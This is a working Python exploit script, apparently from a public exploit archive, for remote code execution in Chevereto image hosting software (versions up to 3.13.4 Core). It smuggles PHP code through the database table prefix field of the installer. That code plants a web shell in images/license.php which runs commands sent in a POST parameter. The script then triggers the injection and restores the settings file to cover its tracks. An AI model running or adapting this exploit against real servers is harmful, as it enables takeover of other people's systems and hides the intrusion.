Chevereto 3.13.4 Core - Remote Code Execution

# Exploit Title:  Chevereto 3.13.4 Core - Remote Code Execution  
# Date: 2020-01-11
# Exploit Author: Jinny Ramsmark 
# Vendor Homepage:  https://chevereto.com/
# Software Link: https://github.com/Chevereto/Chevereto-Free/releases
# Version:  1.0.0 Free - 1.1.4 Free, <= 3.13.4 Core
# Tested on: Ubuntu 19.10, PHP 7.3, Apache/2.4.41
# CVE : N/A

from urllib import request, parse
from time import sleep

#Python3
#Needs to have a valid database server, database and user to exploit
#1.0.0 Free version confirmed vulnerable
#1.1.4 Free version confirmed vulnerable
#3.13.4 Core version confirmed vulnerable

def main():

    target = 'http://cheveretoinstallation/'
    cookie = 'PHPSESSID=89efba681a8bb81d32cd10d3170baf6e'
    db_host = 'ip_to_valid_mysql'
    db_name = 'valid_db'
    db_user = 'valid_user'
    db_pass = 'valid_pass'
    db_table_prefix = 'chv_'

    inject = "';if(strpos(file_get_contents('images/license.php'), '$_POST[\"ccc\"]') === false){file_put_contents('images/license.php','if(isset($_POST[\"ccc\"])){;system($_POST[\"ccc\"]);}');}//"

    #Clean data for when we want to clean up the settings file
    params = {'db_host': db_host, 'db_name': db_name, 'db_user': db_user, 'db_pass': db_pass, 'db_table_prefix': db_table_prefix}
    data = parse.urlencode(params).encode()

    #Settings data with injected code
    params['db_table_prefix'] += inject
    dataInject = parse.urlencode(params).encode()

    #Do inject
    doPostRequest(target + 'install', dataInject, cookie)
    sleep(1)

    #Request index page to run the injected code
    doRequest(target)

    sleep(1)
    #Do a clean request to clean up the settings.php file
    doPostRequest(target + 'install', data, cookie)

def doPostRequest(target, data, cookie):
    req = request.Request(target, data=data)
    req.add_header('Cookie', cookie)
    resp = request.urlopen(req)

def doRequest(target):
    req = request.Request(target)
    resp = request.urlopen(req)

if __name__ == '__main__':
    main()